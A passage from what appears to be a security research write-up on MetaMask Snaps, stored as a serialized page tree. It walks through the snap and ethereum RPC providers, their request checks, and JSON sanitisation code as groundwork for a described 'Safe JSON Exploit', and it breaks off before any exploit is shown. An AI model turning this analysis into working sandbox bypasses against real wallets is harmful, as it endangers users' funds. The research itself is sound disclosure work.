exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":25,"tag":40,"props":39227,"children":39229},{"id":39228},"rpc-interfaces-endowments",[39230],{"type":31,"value":39231},"RPC interfaces endowments",{"type":25,"tag":20392,"props":39233,"children":39235},{"id":39234},"providers-limitations",[39236],{"type":31,"value":39237},"Providers limitations",{"type":25,"tag":34,"props":39239,"children":39240},{},[39241,39243,39249,39250,39255,39257,39264],{"type":31,"value":39242},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":25,"tag":115,"props":39244,"children":39246},{"className":39245},[],[39247],{"type":31,"value":39248},"snap",{"type":31,"value":12493},{"type":25,"tag":115,"props":39251,"children":39253},{"className":39252},[],[39254],{"type":31,"value":258},{"type":31,"value":39256}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":25,"tag":71,"props":39258,"children":39261},{"href":39259,"rel":39260},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[75],[39262],{"type":31,"value":39263},"methods",{"type":31,"value":5997},{"type":25,"tag":191,"props":39266,"children":39268},{"className":36683,"code":39267,"language":36685,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[39269],{"type":25,"tag":115,"props":39270,"children":39271},{"__ignoreMap":7},[39272,39312,39320,39332,39402,39463,39475,39483,39494,39534,39564,39576,39601,39608,39616,39623,39661],{"type":25,"tag":201,"props":39273,"children":39274},{"class":203,"line":204},[39275,39280,39285,39290,39294,39299,39303,39308],{"type":25,"tag":201,"props":39276,"children":39277},{"style":230},[39278],{"type":31,"value":39279},"export",{"type":25,"tag":201,"props":39281,"children":39282},{"style":208},[39283],{"type":31,"value":39284}," function",{"type":25,"tag":201,"props":39286,"children":39287},{"style":214},[39288],{"type":31,"value":39289}," assertSnapOutboundRequest",{"type":25,"tag":201,"props":39291,"children":39292},{"style":220},[39293],{"type":31,"value":298},{"type":25,"tag":201,"props":39295,"children":39296},{"style":246},[39297],{"type":31,"value":39298},"args",{"type":25,"tag":201,"props":39300,"children":39301},{"style":261},[39302],{"type":31,"value":5997},{"type":25,"tag":201,"props":39304,"children":39305},{"style":4925},[39306],{"type":31,"value":39307}," RequestArguments",{"type":25,"tag":201,"props":39309,"children":39310},{"style":220},[39311],{"type":31,"value":275},{"type":25,"tag":201,"props":39313,"children":39314},{"class":203,"line":226},[39315],{"type":25,"tag":201,"props":39316,"children":39317},{"style":4497},[39318],{"type":31,"value":39319},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":25,"tag":201,"props":39321,"children":39322},{"class":203,"line":278},[39323,39328],{"type":25,"tag":201,"props":39324,"children":39325},{"style":214},[39326],{"type":31,"value":39327},"  assert",{"type":25,"tag":201,"props":39329,"children":39330},{"style":220},[39331],{"type":31,"value":4970},{"type":25,"tag":201,"props":39333,"children":39334},{"class":203,"line":311},[39335,39340,39344,39349,39353,39358,39362,39367,39371,39375,39379,39384,39388,39393,39397],{"type":25,"tag":201,"props":39336,"children":39337},{"style":4925},[39338],{"type":31,"value":39339},"    String",{"type":25,"tag":201,"props":39341,"children":39342},{"style":220},[39343],{"type":31,"value":80},{"type":25,"tag":201,"props":39345,"children":39346},{"style":246},[39347],{"type":31,"value":39348},"prototype",{"type":25,"tag":201,"props":39350,"children":39351},{"style":220},[39352],{"type":31,"value":80},{"type":25,"tag":201,"props":39354,"children":39355},{"style":246},[39356],{"type":31,"value":39357},"startsWith",{"type":25,"tag":201,"props":39359,"children":39360},{"style":220},[39361],{"type":31,"value":80},{"type":25,"tag":201,"props":39363,"children":39364},{"style":214},[39365],{"type":31,"value":39366},"call",{"type":25,"tag":201,"props":39368,"children":39369},{"style":220},[39370],{"type":31,"value":298},{"type":25,"tag":201,"props":39372,"children":39373},{"style":246},[39374],{"type":31,"value":39298},{"type":25,"tag":201,"props":39376,"children":39377},{"style":220},[39378],{"type":31,"value":80},{"type":25,"tag":201,"props":39380,"children":39381},{"style":246},[39382],{"type":31,"value":39383},"method",{"type":25,"tag":201,"props":39385,"children":39386},{"style":220},[39387],{"type":31,"value":919},{"type":25,"tag":201,"props":39389,"children":39390},{"style":267},[39391],{"type":31,"value":39392},"'wallet_'",{"type":25,"tag":201,"props":39394,"children":39395},{"style":220},[39396],{"type":31,"value":385},{"type":25,"tag":201,"props":39398,"children":39399},{"style":261},[39400],{"type":31,"value":39401},"||\n",{"type":25,"tag":201,"props":39403,"children":39404},{"class":203,"line":330},[39405,39410,39414,39418,39422,39426,39430,39434,39438,39442,39446,39450,39454,39459],{"type":25,"tag":201,"props":39406,"children":39407},{"style":4925},[39408],{"type":31,"value":39409},"      String",{"type":25,"tag":201,"props":39411,"children":39412},{"style":220},[39413],{"type":31,"value":80},{"type":25,"tag":201,"props":39415,"children":39416},{"style":246},[39417],{"type":31,"value":39348},{"type":25,"tag":201,"props":39419,"children":39420},{"style":220},[39421],{"type":31,"value":80},{"type":25,"tag":201,"props":39423,"children":39424},{"style":246},[39425],{"type":31,"value":39357},{"type":25,"tag":201,"props":39427,"children":39428},{"style":220},[39429],{"type":31,"value":80},{"type":25,"tag":201,"props":39431,"children":39432},{"style":214},[39433],{"type":31,"value":39366},{"type":25,"tag":201,"props":39435,"children":39436},{"style":220},[39437],{"type":31,"value":298},{"type":25,"tag":201,"props":39439,"children":39440},{"style":246},[39441],{"type":31,"value":39298},{"type":25,"tag":201,"props":39443,"children":39444},{"style":220},[39445],{"type":31,"value":80},{"type":25,"tag":201,"props":39447,"children":39448},{"style":246},[39449],{"type":31,"value":39383},{"type":25,"tag":201,"props":39451,"children":39452},{"style":220},[39453],{"type":31,"value":919},{"type":25,"tag":201,"props":39455,"children":39456},{"style":267},[39457],{"type":31,"value":39458},"'snap_'",{"type":25,"tag":201,"props":39460,"children":39461},{"style":220},[39462],{"type":31,"value":8245},{"type":25,"tag":201,"props":39464,"children":39465},{"class":203,"line":397},[39466,39471],{"type":25,"tag":201,"props":39467,"children":39468},{"style":267},[39469],{"type":31,"value":39470},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":25,"tag":201,"props":39472,"children":39473},{"style":220},[39474],{"type":31,"value":547},{"type":25,"tag":201,"props":39476,"children":39477},{"class":203,"line":437},[39478],{"type":25,"tag":201,"props":39479,"children":39480},{"style":220},[39481],{"type":31,"value":39482},"  );\n",{"type":25,"tag":201,"props":39484,"children":39485},{"class":203,"line":464},[39486,39490],{"type":25,"tag":201,"props":39487,"children":39488},{"style":214},[39489],{"type":31,"value":39327},{"type":25,"tag":201,"props":39491,"children":39492},{"style":220},[39493],{"type":31,"value":4970},{"type":25,"tag":201,"props":39495,"children":39496},{"class":203,"line":490},[39497,39501,39506,39510,39514,39518,39522,39526,39530],{"type":25,"tag":201,"props":39498,"children":39499},{"style":261},[39500],{"type":31,"value":22465},{"type":25,"tag":201,"props":39502,"children":39503},{"style":246},[39504],{"type":31,"value":39505},"BLOCKED_RPC_METHODS",{"type":25,"tag":201,"props":39507,"children":39508},{"style":220},[39509],{"type":31,"value":80},{"type":25,"tag":201,"props":39511,"children":39512},{"style":214},[39513],{"type":31,"value":4128},{"type":25,"tag":201,"props":39515,"children":39516},{"style":220},[39517],{"type":31,"value":298},{"type":25,"tag":201,"props":39519,"children":39520},{"style":246},[39521],{"type":31,"value":39298},{"type":25,"tag":201,"props":39523,"children":39524},{"style":220},[39525],{"type":31,"value":80},{"type":25,"tag":201,"props":39527,"children":39528},{"style":246},[39529],{"type":31,"value":39383},{"type":25,"tag":201,"props":39531,"children":39532},{"style":220},[39533],{"type":31,"value":8245},{"type":25,"tag":201,"props":39535,"children":39536},{"class":203,"line":499},[39537,39542,39546,39551,39555,39560],{"type":25,"tag":201,"props":39538,"children":39539},{"style":246},[39540],{"type":31,"value":39541},"    ethErrors",{"type":25,"tag":201,"props":39543,"children":39544},{"style":220},[39545],{"type":31,"value":80},{"type":25,"tag":201,"props":39547,"children":39548},{"style":246},[39549],{"type":31,"value":39550},"rpc",{"type":25,"tag":201,"props":39552,"children":39553},{"style":220},[39554],{"type":31,"value":80},{"type":25,"tag":201,"props":39556,"children":39557},{"style":214},[39558],{"type":31,"value":39559},"methodNotFound",{"type":25,"tag":201,"props":39561,"children":39562},{"style":220},[39563],{"type":31,"value":4238},{"type":25,"tag":201,"props":39565,"children":39566},{"class":203,"line":522},[39567,39572],{"type":25,"tag":201,"props":39568,"children":39569},{"style":246},[39570],{"type":31,"value":39571},"      data:",{"type":25,"tag":201,"props":39573,"children":39574},{"style":220},[39575],{"type":31,"value":327},{"type":25,"tag":201,"props":39577,"children":39578},{"class":203,"line":531},[39579,39584,39589,39593,39597],{"type":25,"tag":201,"props":39580,"children":39581},{"style":246},[39582],{"type":31,"value":39583},"        method:",{"type":25,"tag":201,"props":39585,"children":39586},{"style":246},[39587],{"type":31,"value":39588}," args",{"type":25,"tag":201,"props":39590,"children":39591},{"style":220},[39592],{"type":31,"value":80},{"type":25,"tag":201,"props":39594,"children":39595},{"style":246},[39596],{"type":31,"value":39383},{"type":25,"tag":201,"props":39598,"children":39599},{"style":220},[39600],{"type":31,"value":547},{"type":25,"tag":201,"props":39602,"children":39603},{"class":203,"line":550},[39604],{"type":25,"tag":201,"props":39605,"children":39606},{"style":220},[39607],{"type":31,"value":38269},{"type":25,"tag":201,"props":39609,"children":39610},{"class":203,"line":563},[39611],{"type":25,"tag":201,"props":39612,"children":39613},{"style":220},[39614],{"type":31,"value":39615},"    }),\n",{"type":25,"tag":201,"props":39617,"children":39618},{"class":203,"line":572},[39619],{"type":25,"tag":201,"props":39620,"children":39621},{"style":220},[39622],{"type":31,"value":39482},{"type":25,"tag":201,"props":39624,"children":39625},{"class":203,"line":590},[39626,39631,39635,39639,39643,39648,39652,39657],{"type":25,"tag":201,"props":39627,"children":39628},{"style":214},[39629],{"type":31,"value":39630},"  assertStruct",{"type":25,"tag":201,"props":39632,"children":39633},{"style":220},[39634],{"type":31,"value":298},{"type":25,"tag":201,"props":39636,"children":39637},{"style":246},[39638],{"type":31,"value":39298},{"type":25,"tag":201,"props":39640,"children":39641},{"style":220},[39642],{"type":31,"value":919},{"type":25,"tag":201,"props":39644,"children":39645},{"style":246},[39646],{"type":31,"value":39647},"JsonStruct",{"type":25,"tag":201,"props":39649,"children":39650},{"style":220},[39651],{"type":31,"value":919},{"type":25,"tag":201,"props":39653,"children":39654},{"style":267},[39655],{"type":31,"value":39656},"'Provided value is not JSON-RPC compatible'",{"type":25,"tag":201,"props":39658,"children":39659},{"style":220},[39660],{"type":31,"value":308},{"type":25,"tag":201,"props":39662,"children":39663},{"class":203,"line":608},[39664],{"type":25,"tag":201,"props":39665,"children":39666},{"style":220},[39667],{"type":31,"value":1187},{"type":25,"tag":34,"props":39669,"children":39670},{},[39671,39673,39678,39680,39686,39687,39693],{"type":31,"value":39672},"This function is called by the ",{"type":25,"tag":115,"props":39674,"children":39676},{"className":39675},[],[39677],{"type":31,"value":39248},{"type":31,"value":39679}," RPC provider, so it can only send methods starting with ",{"type":25,"tag":115,"props":39681,"children":39683},{"className":39682},[],[39684],{"type":31,"value":39685},"wallet_",{"type":31,"value":14636},{"type":25,"tag":115,"props":39688,"children":39690},{"className":39689},[],[39691],{"type":31,"value":39692},"snap_",{"type":31,"value":39694},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":25,"tag":34,"props":39696,"children":39697},{},[39698,39700,39705,39707,39712,39714,39720],{"type":31,"value":39699},"On the other hand, the ",{"type":25,"tag":115,"props":39701,"children":39703},{"className":39702},[],[39704],{"type":31,"value":258},{"type":31,"value":39706}," provider only blocks methods starting with ",{"type":25,"tag":115,"props":39708,"children":39710},{"className":39709},[],[39711],{"type":31,"value":39692},{"type":31,"value":39713}," and the blocked methods. However, it requires the ",{"type":25,"tag":115,"props":39715,"children":39717},{"className":39716},[],[39718],{"type":31,"value":39719},"endowment:ethereum-provider",{"type":31,"value":39721}," permission in the snap manifest.",{"type":25,"tag":20392,"props":39723,"children":39725},{"id":39724},"execution-flow",[39726],{"type":31,"value":39727},"Execution flow",{"type":25,"tag":34,"props":39729,"children":39730},{},[39731,39733,39738,39739,39744,39746,39751,39752,39758],{"type":31,"value":39732},"Both providers (",{"type":25,"tag":115,"props":39734,"children":39736},{"className":39735},[],[39737],{"type":31,"value":39248},{"type":31,"value":12493},{"type":25,"tag":115,"props":39740,"children":39742},{"className":39741},[],[39743],{"type":31,"value":258},{"type":31,"value":39745},") are built outside the SES container with a ",{"type":25,"tag":115,"props":39747,"children":39749},{"className":39748},[],[39750],{"type":31,"value":345},{"type":31,"value":7966},{"type":25,"tag":71,"props":39753,"children":39756},{"href":39754,"rel":39755},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[75],[39757],{"type":31,"value":211},{"type":31,"value":5997},{"type":25,"tag":191,"props":39760,"children":39762},{"className":37000,"code":39761,"language":37002,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[39763],{"type":25,"tag":115,"props":39764,"children":39765},{"__ignoreMap":7},[39766,39813,39838,39871,39906,39918,39938,39976,39996,40003,40020,40053,40060],{"type":25,"tag":201,"props":39767,"children":39768},{"class":203,"line":204},[39769,39773,39777,39781,39785,39789,39793,39797,39801,39805,39809],{"type":25,"tag":201,"props":39770,"children":39771},{"style":208},[39772],{"type":31,"value":37258},{"type":25,"tag":201,"props":39774,"children":39775},{"style":214},[39776],{"type":31,"value":217},{"type":25,"tag":201,"props":39778,"children":39779},{"style":261},[39780],{"type":31,"value":413},{"type":25,"tag":201,"props":39782,"children":39783},{"style":208},[39784],{"type":31,"value":37435},{"type":25,"tag":201,"props":39786,"children":39787},{"style":220},[39788],{"type":31,"value":238},{"type":25,"tag":201,"props":39790,"children":39791},{"style":246},[39792],{"type":31,"value":39298},{"type":25,"tag":201,"props":39794,"children":39795},{"style":261},[39796],{"type":31,"value":5997},{"type":25,"tag":201,"props":39798,"children":39799},{"style":4925},[39800],{"type":31,"value":39307},{"type":25,"tag":201,"props":39802,"children":39803},{"style":220},[39804],{"type":31,"value":385},{"type":25,"tag":201,"props":39806,"children":39807},{"style":208},[39808],{"type":31,"value":390},{"type":25,"tag":201,"props":39810,"children":39811},{"style":220},[39812],{"type":31,"value":327},{"type":25,"tag":201,"props":39814,"children":39815},{"class":203,"line":226},[39816,39821,39825,39829,39833],{"type":25,"tag":201,"props":39817,"children":39818},{"style":214},[39819],{"type":31,"value":39820},"      assertSnapOutboundRequest",{"type":25,"tag":201,"props":39822,"children":39823},{"style":220},[39824],{"type":31,"value":298},{"type":25,"tag":201,"props":39826,"children":39827},{"style":246},[39828],{"type":31,"value":39298},{"type":25,"tag":201,"props":39830,"children":39831},{"style":220},[39832],{"type":31,"value":29838},{"type":25,"tag":201,"props":39834,"children":39835},{"style":4497},[39836],{"type":31,"value":39837},"// or assertEthereumOutboundRequest(args);\n",{"type":25,"tag":201,"props":39839,"children":39840},{"class":203,"line":278},[39841,39845,39850,39854,39859,39863,39867],{"type":25,"tag":201,"props":39842,"children":39843},{"style":208},[39844],{"type":31,"value":403},{"type":25,"tag":201,"props":39846,"children":39847},{"style":246},[39848],{"type":31,"value":39849}," sanitizedArgs",{"type":25,"tag":201,"props":39851,"children":39852},{"style":261},[39853],{"type":31,"value":413},{"type":25,"tag":201,"props":39855,"children":39856},{"style":214},[39857],{"type":31,"value":39858}," getSafeJson",{"type":25,"tag":201,"props":39860,"children":39861},{"style":220},[39862],{"type":31,"value":298},{"type":25,"tag":201,"props":39864,"children":39865},{"style":246},[39866],{"type":31,"value":39298},{"type":25,"tag":201,"props":39868,"children":39869},{"style":220},[39870],{"type":31,"value":308},{"type":25,"tag":201,"props":39872,"children":39873},{"class":203,"line":311},[39874,39879,39883,39888,39892,39896,39901],{"type":25,"tag":201,"props":39875,"children":39876},{"style":208},[39877],{"type":31,"value":39878},"      this",{"type":25,"tag":201,"props":39880,"children":39881},{"style":220},[39882],{"type":31,"value":80},{"type":25,"tag":201,"props":39884,"children":39885},{"style":214},[39886],{"type":31,"value":39887},"notify",{"type":25,"tag":201,"props":39889,"children":39890},{"style":220},[39891],{"type":31,"value":350},{"type":25,"tag":201,"props":39893,"children":39894},{"style":246},[39895],{"type":31,"value":355},{"type":25,"tag":201,"props":39897,"children":39898},{"style":267},[39899],{"type":31,"value":39900}," 'OutboundRequest'",{"type":25,"tag":201,"props":39902,"children":39903},{"style":220},[39904],{"type":31,"value":39905}," });\n",{"type":25,"tag":201,"props":39907,"children":39908},{"class":203,"line":330},[39909,39914],{"type":25,"tag":201,"props":39910,"children":39911},{"style":230},[39912],{"type":31,"value":39913},"      try",{"type":25,"tag":201,"props":39915,"children":39916},{"style":220},[39917],{"type":31,"value":327},{"type":25,"tag":201,"props":39919,"children":39920},{"class":203,"line":397},[39921,39925,39929,39934],{"type":25,"tag":201,"props":39922,"children":39923},{"style":230},[39924],{"type":31,"value":17239},{"type":25,"tag":201,"props":39926,"children":39927},{"style":230},[39928],{"type":31,"value":37281},{"type":25,"tag":201,"props":39930,"children":39931},{"style":214},[39932],{"type":31,"value":39933}," withTeardown",{"type":25,"tag":201,"props":39935,"children":39936},{"style":220},[39937],{"type":31,"value":4970},{"type":25,"tag":201,"props":39939,"children":39940},{"class":203,"line":437},[39941,39946,39950,39955,39959,39964,39968,39972],{"type":25,"tag":201,"props":39942,"children":39943},{"style":214},[39944],{"type":31,"value":39945},"          originalRequest",{"type":25,"tag":201,"props":39947,"children":39948},{"style":220},[39949],{"type":31,"value":298},{"type":25,"tag":201,"props":39951,"children":39952},{"style":246},[39953],{"type":31,"value":39954},"sanitizedArgs",{"type":25,"tag":201,"props":39956,"children":39957},{"style":230},[39958],{"type":31,"value":10335},{"type":25,"tag":201,"props":39960,"children":39961},{"style":4925},[39962],{"type":31,"value":39963}," unknown",{"type":25,"tag":201,"props":39965,"children":39966},{"style":230},[39967],{"type":31,"value":10335},{"type":25,"tag":201,"props":39969,"children":39970},{"style":4925},[39971],{"type":31,"value":39307},{"type":25,"tag":201,"props":39973,"children":39974},{"style":220},[39975],{"type":31,"value":8245},{"type":25,"tag":201,"props":39977,"children":39978},{"class":203,"line":464},[39979,39984,39988,39992],{"type":25,"tag":201,"props":39980,"children":39981},{"style":208},[39982],{"type":31,"value":39983},"          this",{"type":25,"tag":201,"props":39985,"children":39986},{"style":230},[39987],{"type":31,"value":10335},{"type":25,"tag":201,"props":39989,"children":39990},{"style":4925},[39991],{"type":31,"value":11861},{"type":25,"tag":201,"props":39993,"children":39994},{"style":220},[39995],{"type":31,"value":547},{"type":25,"tag":201,"props":39997,"children":39998},{"class":203,"line":490},[39999],{"type":25,"tag":201,"props":40000,"children":40001},{"style":220},[40002],{"type":31,"value":9252},{"type":25,"tag":201,"props":40004,"children":40005},{"class":203,"line":499},[40006,40011,40016],{"type":25,"tag":201,"props":40007,"children":40008},{"style":220},[40009],{"type":31,"value":40010},"      } ",{"type":25,"tag":201,"props":40012,"children":40013},{"style":230},[40014],{"type":31,"value":40015},"finally",{"type":25,"tag":201,"props":40017,"children":40018},{"style":220},[40019],{"type":31,"value":327},{"type":25,"tag":201,"props":40021,"children":40022},{"class":203,"line":522},[40023,40028,40032,40036,40040,40044,40049],{"type":25,"tag":201,"props":40024,"children":40025},{"style":208},[40026],{"type":31,"value":40027},"        this",{"type":25,"tag":201,"props":40029,"children":40030},{"style":220},[40031],{"type":31,"value":80},{"type":25,"tag":201,"props":40033,"children":40034},{"style":214},[40035],{"type":31,"value":39887},{"type":25,"tag":201,"props":40037,"children":40038},{"style":220},[40039],{"type":31,"value":350},{"type":25,"tag":201,"props":40041,"children":40042},{"style":246},[40043],{"type":31,"value":355},{"type":25,"tag":201,"props":40045,"children":40046},{"style":267},[40047],{"type":31,"value":40048}," 'OutboundResponse'",{"type":25,"tag":201,"props":40050,"children":40051},{"style":220},[40052],{"type":31,"value":39905},{"type":25,"tag":201,"props":40054,"children":40055},{"class":203,"line":531},[40056],{"type":25,"tag":201,"props":40057,"children":40058},{"style":220},[40059],{"type":31,"value":14166},{"type":25,"tag":201,"props":40061,"children":40062},{"class":203,"line":550},[40063],{"type":25,"tag":201,"props":40064,"children":40065},{"style":220},[40066],{"type":31,"value":40067},"    };\n",{"type":25,"tag":34,"props":40069,"children":40070},{},[40071,40073,40078,40080,40085],{"type":31,"value":40072},"In particular, this function is from the ",{"type":25,"tag":115,"props":40074,"children":40076},{"className":40075},[],[40077],{"type":31,"value":39248},{"type":31,"value":40079}," provider, but the only thing that changes between this and ",{"type":25,"tag":115,"props":40081,"children":40083},{"className":40082},[],[40084],{"type":31,"value":258},{"type":31,"value":40086}," is the assert function in the first line.",{"type":25,"tag":34,"props":40088,"children":40089},{},[40090],{"type":31,"value":40091},"As we can see in the code, the execution flow follows this pattern:",{"type":25,"tag":6944,"props":40093,"children":40094},{},[40095,40107,40112],{"type":25,"tag":6948,"props":40096,"children":40097},{},[40098,40100,40105],{"type":31,"value":40099},"Assert if ",{"type":25,"tag":115,"props":40101,"children":40103},{"className":40102},[],[40104],{"type":31,"value":39298},{"type":31,"value":40106}," are valid",{"type":25,"tag":6948,"props":40108,"children":40109},{},[40110],{"type":31,"value":40111},"getSafeJson to get sanitizedArgs",{"type":25,"tag":6948,"props":40113,"children":40114},{},[40115],{"type":31,"value":40116},"originalRequest(sanitizedArgs)",{"type":25,"tag":34,"props":40118,"children":40119},{},[40120,40122,40128],{"type":31,"value":40121},"Obs: ",{"type":25,"tag":115,"props":40123,"children":40125},{"className":40124},[],[40126],{"type":31,"value":40127},"originalRequest",{"type":31,"value":40129}," makes the RPC call to metamask service worker",{"type":25,"tag":40,"props":40131,"children":40133},{"id":40132},"safe-json-exploit",[40134],{"type":31,"value":40135},"Safe JSON Exploit",{"type":25,"tag":34,"props":40137,"children":40138},{},[40139,40141,40147,40149,40154,40156,40162],{"type":31,"value":40140},"As we dug further into the",{"type":25,"tag":115,"props":40142,"children":40144},{"className":40143},[],[40145],{"type":31,"value":40146},"getSafeJson",{"type":31,"value":40148}," function (defined in ",{"type":25,"tag":115,"props":40150,"children":40152},{"className":40151},[],[40153],{"type":31,"value":38366},{"type":31,"value":40155}," package) we discovered the following ",{"type":25,"tag":71,"props":40157,"children":40160},{"href":40158,"rel":40159},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[75],[40161],{"type":31,"value":115},{"type":31,"value":5997},{"type":25,"tag":191,"props":40164,"children":40166},{"className":36683,"code":40165,"language":36685,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[40167],{"type":25,"tag":115,"props":40168,"children":40169},{"__ignoreMap":7},[40170,40235,40262,40287,40342,40350,40397,40413,40420,40437,40444,40451],{"type":25,"tag":201,"props":40171,"children":40172},{"class":203,"line":204},[40173,40177,40182,40187,40191,40196,40200,40205,40209,40213,40218,40223,40227,40231],{"type":25,"tag":201,"props":40174,"children":40175},{"style":230},[40176],{"type":31,"value":39279},{"type":25,"tag":201,"props":40178,"children":40179},{"style":208},[40180],{"type":31,"value":40181}," const",{"type":25,"tag":201,"props":40183,"children":40184},{"style":246},[40185],{"type":31,"value":40186}," JsonStruct",{"type":25,"tag":201,"props":40188,"children":40189},{"style":261},[40190],{"type":31,"value":413},{"type":25,"tag":201,"props":40192,"children":40193},{"style":214},[40194],{"type":31,"value":40195}," coerce",{"type":25,"tag":201,"props":40197,"children":40198},{"style":220},[40199],{"type":31,"value":298},{"type":25,"tag":201,"props":40201,"children":40202},{"style":246},[40203],{"type":31,"value":40204},"UnsafeJsonStruct",{"type":25,"tag":201,"props":40206,"children":40207},{"style":220},[40208],{"type":31,"value":919},{"type":25,"tag":201,"props":40210,"children":40211},{"style":214},[40212],{"type":31,"value":18210},{"type":25,"tag":201,"props":40214,"children":40215},{"style":220},[40216],{"type":31,"value":40217},"(), (",{"type":25,"tag":201,"props":40219,"children":40220},{"style":246},[40221],{"type":31,"value":40222},"value",{"type":25,"tag":201,"props":40224,"children":40225},{"style":220},[40226],{"type":31,"value":385},{"type":25,"tag":201,"props":40228,"children":40229},{"style":208},[40230],{"type":31,"value":390},{"type":25,"tag":201,"props":40232,"children":40233},{"style":220},[40234],{"type":31,"value":327},{"type":25,"tag":201,"props":40236,"children":40237},{"class":203,"line":226},[40238,40242,40246,40250,40254,40258],{"type":25,"tag":201,"props":40239,"children":40240},{"style":214},[40241],{"type":31,"value":39630},{"type":25,"tag":201,"props":40243,"children":40244},{"style":220},[40245],{"type":31,"value":298},{"type":25,"tag":201,"props":40247,"children":40248},{"style":246},[40249],{"type":31,"value":40222},{"type":25,"tag":201,"props":40251,"children":40252},{"style":220},[40253],{"type":31,"value":919},{"type":25,"tag":201,"props":40255,"children":40256},{"style":246},[40257],{"type":31,"value":40204},{"type":25,"tag":201,"props":40259,"children":40260},{"style":220},[40261],{"type":31,"value":308},{"type":25,"tag":201,"props":40263,"children":40264},{"class":203,"line":278},[40265,40270,40274,40278,40283],{"type":25,"tag":201,"props":40266,"children":40267},{"style":230},[40268],{"type":31,"value":40269},"  return",{"type":25,"tag":201,"props":40271,"children":40272},{"style":246},[40273],{"type":31,"value":38598},{"type":25,"tag":201,"props":40275,"children":40276},{"style":220},[40277],{"type":31,"value":80},{"type":25,"tag":201,"props":40279,"children":40280},{"style":214},[40281],{"type":31,"value":40282},"parse",{"type":25,"tag":201,"props":40284,"children":40285},{"style":220},[40286],{"type":31,"value":4970},{"type":25,"tag":201,"props":40288,"children":40289},{"class":203,"line":311},[40290,40295,40299,40304,40308,40312,40316,40321,40325,40330,40334,40338],{"type":25,"tag":201,"props":40291,"children":40292},{"style":246},[40293],{"type":31,"value":40294},"    JSON",{"type":25,"tag":201,"props":40296,"children":40297},{"style":220},[40298],{"type":31,"value":80},{"type":25,"tag":201,"props":40300,"children":40301},{"style":214},[40302],{"type":31,"value":40303},"stringify",{"type":25,"tag":201,"props":40305,"children":40306},{"style":220},[40307],{"type":31,"value":298},{"type":25,"tag":201,"props":40309,"children":40310},{"style":246},[40311],{"type":31,"value":40222},{"type":25,"tag":201,"props":40313,"children":40314},{"style":220},[40315],{"type":31,"value":10326},{"type":25,"tag":201,"props":40317,"children":40318},{"style":246},[40319],{"type":31,"value":40320},"propKey",{"type":25,"tag":201,"props":40322,"children":40323},{"style":220},[40324],{"type":31,"value":919},{"type":25,"tag":201,"props":40326,"children":40327},{"style":246},[40328],{"type":31,"value":40329},"propValue",{"type":25,"tag":201,"props":40331,"children":40332},{"style":220},[40333],{"type":31,"value":385},{"type":25,"tag":201,"props":40335,"children":40336},{"style":208},[40337],{"type":31,"value":390},{"type":25,"tag":201,"props":40339,"children":40340},{"style":220},[40341],{"type":31,"value":327},{"type":25,"tag":201,"props":40343,"children":40344},{"class":203,"line":330},[40345],{"type":25,"tag":201,"props":40346,"children":40347},{"style":4497},[40348],{"type":31,"value":40349},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":25,"tag":201,"props":40351,"children":40352},{"class":203,"line":397},[40353,40358,40362,40366,40370,40375,40379,40384,40388,40393],{"type":25,"tag":201,"props":40354,"children":40355},{"style":230},[40356],{"type":31,"value":40357},"      if",{"type":25,"tag":201,"props":40359,"children":40360},{"style":220},[40361],{"type":31,"value":238},{"type":25,"tag":201,"props":40363,"children":40364},{"style":246},[40365],{"type":31,"value":40320},{"type":25,"tag":201,"props":40367,"children":40368},{"style":261},[40369],{"type":31,"value":264},{"type":25,"tag":201,"props":40371,"children":40372},{"style":267},[40373],{"type":31,"value":40374}," '__proto__'",{"type":25,"tag":201,"props":40376,"children":40377},{"style":261},[40378],{"type":31,"value":25192},{"type":25,"tag":201,"props":40380,"children":40381},{"style":246},[40382],{"type":31,"value":40383}," propKey",{"type":25,"tag":201,"props":40385,"children":40386},{"style":261},[40387],{"type":31,"value":264},{"type":25,"tag":201,"props":40389,"children":40390},{"style":267},[40391],{"type":31,"value":40392}," 'constructor'",{"type":25,"tag":201,"props":40394,"children":40395},{"style":220},[40396],{"type":31,"value":275},{"type":25,"tag":201,"props":40398,"children":40399},{"class":203,"line":437},[40400,40404,40409],{"type":25,"tag":201,"props":40401,"children":40402},{"style":230},[40403],{"type":31,"value":17239},{"type":25,"tag":201,"props":40405,"children":40406},{"style":208},[40407],{"type":31,"value":40408}," 